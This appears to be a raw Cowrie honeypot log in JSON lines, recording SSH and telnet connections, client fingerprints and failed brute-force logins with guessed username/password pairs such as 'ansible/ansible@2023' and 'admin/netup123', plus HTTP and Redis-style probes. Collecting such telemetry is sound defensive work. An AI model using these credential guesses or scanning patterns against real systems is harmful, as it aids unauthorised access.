{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:09:05.942717Z","src_ip":"159.203.92.129","session":"4aba140963f8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":53176,"dst_ip":"159.203.135.109","dst_port":22,"session":"84520b8c1ed2","protocol":"ssh","message":"New connection: 159.203.92.129:53176 (159.203.135.109:22) [session: 84520b8c1ed2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:09:47.052315Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:09:47.064131Z","src_ip":"159.203.92.129","session":"84520b8c1ed2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:09:47.069058Z","src_ip":"159.203.92.129","session":"84520b8c1ed2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"ansible@2022","message":"login attempt [ansible/ansible@2022] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:09:47.178831Z","src_ip":"159.203.92.129","session":"84520b8c1ed2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:09:48.185146Z","src_ip":"159.203.92.129","session":"84520b8c1ed2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00083899497986,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:09:55.158506Z","src_ip":"45.181.100.135","session":"db86663386e6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.0014796257019,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:09:57.328980Z","src_ip":"45.181.100.135","session":"0188059ead01","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.181.100.135","src_port":47030,"dst_ip":"159.203.135.109","dst_port":23,"session":"453e0a39e11d","protocol":"telnet","message":"New connection: 45.181.100.135:47030 (159.203.135.109:23) [session: 453e0a39e11d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:09:57.695063Z"}
{"eventid":"cowrie.session.connect","src_ip":"139.162.207.207","src_port":33062,"dst_ip":"10.17.0.5","dst_port":23,"session":"a4a71aaca754","protocol":"telnet","message":"New connection: 139.162.207.207:33062 (10.17.0.5:23) [session: a4a71aaca754]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:10:06.470992Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.159.177.40","src_port":40694,"dst_ip":"159.203.135.109","dst_port":22,"session":"158fc98ddf2e","protocol":"ssh","message":"New connection: 43.159.177.40:40694 (159.203.135.109:22) [session: 158fc98ddf2e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:10:20.238942Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:10:20.245616Z","src_ip":"43.159.177.40","session":"158fc98ddf2e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:10:20.323329Z","src_ip":"43.159.177.40","session":"158fc98ddf2e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"netup123","message":"login attempt [admin/netup123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:10:20.640301Z","src_ip":"43.159.177.40","session":"158fc98ddf2e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:10:21.711554Z","src_ip":"43.159.177.40","session":"158fc98ddf2e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"35.195.32.145","src_port":33182,"dst_ip":"159.203.135.109","dst_port":23,"session":"f72bf26e5159","protocol":"telnet","message":"New connection: 35.195.32.145:33182 (159.203.135.109:23) [session: f72bf26e5159]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:10:23.646241Z"}
{"eventid":"cowrie.session.connect","src_ip":"35.195.32.145","src_port":33190,"dst_ip":"159.203.135.109","dst_port":23,"session":"c63a91b337d5","protocol":"telnet","message":"New connection: 35.195.32.145:33190 (159.203.135.109:23) [session: c63a91b337d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:10:23.802071Z"}
{"eventid":"cowrie.session.closed","duration":0.0072231292724609375,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:10:23.809130Z","src_ip":"35.195.32.145","session":"c63a91b337d5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"35.195.32.145","src_port":33204,"dst_ip":"159.203.135.109","dst_port":23,"session":"6cbeeea7c5f1","protocol":"telnet","message":"New connection: 35.195.32.145:33204 (159.203.135.109:23) [session: 6cbeeea7c5f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:10:23.960698Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.23.218.218","src_port":50647,"dst_ip":"10.17.0.5","dst_port":23,"session":"f324cc73b408","protocol":"telnet","message":"New connection: 45.23.218.218:50647 (10.17.0.5:23) [session: f324cc73b408]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:10:24.717960Z"}
{"eventid":"cowrie.session.connect","src_ip":"2.58.196.8","src_port":32830,"dst_ip":"159.203.135.109","dst_port":23,"session":"6a536fed14b5","protocol":"telnet","message":"New connection: 2.58.196.8:32830 (159.203.135.109:23) [session: 6a536fed14b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:10:27.459295Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":45336,"dst_ip":"159.203.135.109","dst_port":22,"session":"573d684ba3ca","protocol":"ssh","message":"New connection: 159.203.92.129:45336 (159.203.135.109:22) [session: 573d684ba3ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:10:29.652333Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:10:29.657580Z","src_ip":"159.203.92.129","session":"573d684ba3ca","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:10:29.662550Z","src_ip":"159.203.92.129","session":"573d684ba3ca","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"ansible@2023","message":"login attempt [ansible/ansible@2023] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:10:29.677214Z","src_ip":"159.203.92.129","session":"573d684ba3ca","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:10:30.713143Z","src_ip":"159.203.92.129","session":"573d684ba3ca","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":7.98390531539917,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:10:31.630015Z","src_ip":"35.195.32.145","session":"f72bf26e5159","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"35.195.32.145","src_port":19256,"dst_ip":"159.203.135.109","dst_port":23,"session":"c3dc487da5b9","protocol":"telnet","message":"New connection: 35.195.32.145:19256 (159.203.135.109:23) [session: c3dc487da5b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:10:33.117561Z"}
{"eventid":"cowrie.login.failed","username":"GET / HTTP/1.1","password":"Host: 159.203.135.109:23","message":"login attempt [GET / HTTP/1.1/Host: 159.203.135.109:23] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:10:33.123285Z","src_ip":"35.195.32.145","session":"c3dc487da5b9","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36","password":"Accept-Encoding: gzip","message":"login attempt [User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36/Accept-Encoding: gzip] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:10:33.127282Z","src_ip":"35.195.32.145","session":"c3dc487da5b9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":0.08834600448608398,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:10:33.205779Z","src_ip":"35.195.32.145","session":"c3dc487da5b9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"35.195.32.145","src_port":19270,"dst_ip":"159.203.135.109","dst_port":23,"session":"d647b037d42e","protocol":"telnet","message":"New connection: 35.195.32.145:19270 (159.203.135.109:23) [session: d647b037d42e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:10:33.282232Z"}
{"eventid":"cowrie.session.closed","duration":0.005493640899658203,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:10:33.287577Z","src_ip":"35.195.32.145","session":"d647b037d42e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"35.195.32.145","src_port":19278,"dst_ip":"159.203.135.109","dst_port":23,"session":"95a625fff74e","protocol":"telnet","message":"New connection: 35.195.32.145:19278 (159.203.135.109:23) [session: 95a625fff74e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:10:33.437992Z"}
{"eventid":"cowrie.session.connect","src_ip":"35.195.32.145","src_port":19290,"dst_ip":"159.203.135.109","dst_port":23,"session":"e4ef12146551","protocol":"telnet","message":"New connection: 35.195.32.145:19290 (159.203.135.109:23) [session: e4ef12146551]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:10:33.593109Z"}
{"eventid":"cowrie.session.connect","src_ip":"35.195.32.145","src_port":19294,"dst_ip":"159.203.135.109","dst_port":23,"session":"94fb9930fd81","protocol":"telnet","message":"New connection: 35.195.32.145:19294 (159.203.135.109:23) [session: 94fb9930fd81]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:10:33.747728Z"}
{"eventid":"cowrie.session.connect","src_ip":"35.195.32.145","src_port":19308,"dst_ip":"159.203.135.109","dst_port":23,"session":"8d37a2942754","protocol":"telnet","message":"New connection: 35.195.32.145:19308 (159.203.135.109:23) [session: 8d37a2942754]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:10:33.904224Z"}
{"eventid":"cowrie.session.connect","src_ip":"35.195.32.145","src_port":19314,"dst_ip":"159.203.135.109","dst_port":23,"session":"fb61c3df4678","protocol":"telnet","message":"New connection: 35.195.32.145:19314 (159.203.135.109:23) [session: fb61c3df4678]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:10:34.062426Z"}
{"eventid":"cowrie.session.connect","src_ip":"35.195.32.145","src_port":19326,"dst_ip":"159.203.135.109","dst_port":23,"session":"3b5b01a548e4","protocol":"telnet","message":"New connection: 35.195.32.145:19326 (159.203.135.109:23) [session: 3b5b01a548e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:10:38.719764Z"}
{"eventid":"cowrie.session.connect","src_ip":"35.195.32.145","src_port":19330,"dst_ip":"159.203.135.109","dst_port":23,"session":"2735187da8e7","protocol":"telnet","message":"New connection: 35.195.32.145:19330 (159.203.135.109:23) [session: 2735187da8e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:10:38.874194Z"}
{"eventid":"cowrie.session.connect","src_ip":"35.195.32.145","src_port":19338,"dst_ip":"159.203.135.109","dst_port":23,"session":"5bebfdf5c225","protocol":"telnet","message":"New connection: 35.195.32.145:19338 (159.203.135.109:23) [session: 5bebfdf5c225]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:10:39.078025Z"}
{"eventid":"cowrie.session.connect","src_ip":"35.195.32.145","src_port":19344,"dst_ip":"159.203.135.109","dst_port":23,"session":"86ddf75210cb","protocol":"telnet","message":"New connection: 35.195.32.145:19344 (159.203.135.109:23) [session: 86ddf75210cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:10:39.311556Z"}
{"eventid":"cowrie.session.connect","src_ip":"35.195.32.145","src_port":19358,"dst_ip":"159.203.135.109","dst_port":23,"session":"46a45b8a55a2","protocol":"telnet","message":"New connection: 35.195.32.145:19358 (159.203.135.109:23) [session: 46a45b8a55a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:10:39.468856Z"}
{"eventid":"cowrie.session.closed","duration":0.0054361820220947266,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:10:39.474146Z","src_ip":"35.195.32.145","session":"46a45b8a55a2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"35.195.32.145","src_port":19366,"dst_ip":"159.203.135.109","dst_port":23,"session":"e16f0aedd358","protocol":"telnet","message":"New connection: 35.195.32.145:19366 (159.203.135.109:23) [session: e16f0aedd358]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:10:39.625581Z"}
{"eventid":"cowrie.session.connect","src_ip":"35.195.32.145","src_port":19376,"dst_ip":"159.203.135.109","dst_port":23,"session":"d659349fb055","protocol":"telnet","message":"New connection: 35.195.32.145:19376 (159.203.135.109:23) [session: d659349fb055]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:10:39.782408Z"}
{"eventid":"cowrie.session.connect","src_ip":"35.195.32.145","src_port":19384,"dst_ip":"159.203.135.109","dst_port":23,"session":"86106eacde1f","protocol":"telnet","message":"New connection: 35.195.32.145:19384 (159.203.135.109:23) [session: 86106eacde1f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:10:39.937785Z"}
{"eventid":"cowrie.session.connect","src_ip":"35.195.32.145","src_port":19398,"dst_ip":"159.203.135.109","dst_port":23,"session":"68966d140253","protocol":"telnet","message":"New connection: 35.195.32.145:19398 (159.203.135.109:23) [session: 68966d140253]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:10:40.094790Z"}
{"eventid":"cowrie.session.connect","src_ip":"35.195.32.145","src_port":19404,"dst_ip":"159.203.135.109","dst_port":23,"session":"06123a9f71d5","protocol":"telnet","message":"New connection: 35.195.32.145:19404 (159.203.135.109:23) [session: 06123a9f71d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:10:40.250255Z"}
{"eventid":"cowrie.session.connect","src_ip":"35.195.32.145","src_port":19408,"dst_ip":"159.203.135.109","dst_port":23,"session":"85b07bb3efcc","protocol":"telnet","message":"New connection: 35.195.32.145:19408 (159.203.135.109:23) [session: 85b07bb3efcc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:10:40.404854Z"}
{"eventid":"cowrie.session.connect","src_ip":"35.195.32.145","src_port":19418,"dst_ip":"159.203.135.109","dst_port":23,"session":"3b3e7f0cd77a","protocol":"telnet","message":"New connection: 35.195.32.145:19418 (159.203.135.109:23) [session: 3b3e7f0cd77a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:10:40.558966Z"}
{"eventid":"cowrie.session.connect","src_ip":"35.195.32.145","src_port":19422,"dst_ip":"159.203.135.109","dst_port":23,"session":"00c8326d5d0a","protocol":"telnet","message":"New connection: 35.195.32.145:19422 (159.203.135.109:23) [session: 00c8326d5d0a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:10:40.713589Z"}
{"eventid":"cowrie.session.connect","src_ip":"35.195.32.145","src_port":19428,"dst_ip":"159.203.135.109","dst_port":23,"session":"79a68519654d","protocol":"telnet","message":"New connection: 35.195.32.145:19428 (159.203.135.109:23) [session: 79a68519654d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:10:40.868843Z"}
{"eventid":"cowrie.login.failed","username":"*1","password":"$4","message":"login attempt [*1/$4] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:10:40.874508Z","src_ip":"35.195.32.145","session":"79a68519654d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"35.195.32.145","src_port":19442,"dst_ip":"159.203.135.109","dst_port":23,"session":"5a3d112da314","protocol":"telnet","message":"New connection: 35.195.32.145:19442 (159.203.135.109:23) [session: 5a3d112da314]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:10:41.029932Z"}
{"eventid":"cowrie.session.connect","src_ip":"35.195.32.145","src_port":19444,"dst_ip":"159.203.135.109","dst_port":23,"session":"f5d18207bb8b","protocol":"telnet","message":"New connection: 35.195.32.145:19444 (159.203.135.109:23) [session: f5d18207bb8b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:10:41.186351Z"}
{"eventid":"cowrie.session.connect","src_ip":"35.195.32.145","src_port":19450,"dst_ip":"159.203.135.109","dst_port":23,"session":"c9c1dcdaa595","protocol":"telnet","message":"New connection: 35.195.32.145:19450 (159.203.135.109:23) [session: c9c1dcdaa595]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:10:41.340628Z"}
{"eventid":"cowrie.session.connect","src_ip":"35.195.32.145","src_port":19462,"dst_ip":"159.203.135.109","dst_port":23,"session":"43a65191f507","protocol":"telnet","message":"New connection: 35.195.32.145:19462 (159.203.135.109:23) [session: 43a65191f507]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:10:41.495280Z"}
{"eventid":"cowrie.session.connect","src_ip":"35.195.32.145","src_port":19474,"dst_ip":"159.203.135.109","dst_port":23,"session":"d94d06f4e3bc","protocol":"telnet","message":"New connection: 35.195.32.145:19474 (159.203.135.109:23) [session: d94d06f4e3bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:10:41.651417Z"}
{"eventid":"cowrie.session.connect","src_ip":"35.195.32.145","src_port":19488,"dst_ip":"159.203.135.109","dst_port":23,"session":"1bfec1388594","protocol":"telnet","message":"New connection: 35.195.32.145:19488 (159.203.135.109:23) [session: 1bfec1388594]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:10:41.807809Z"}
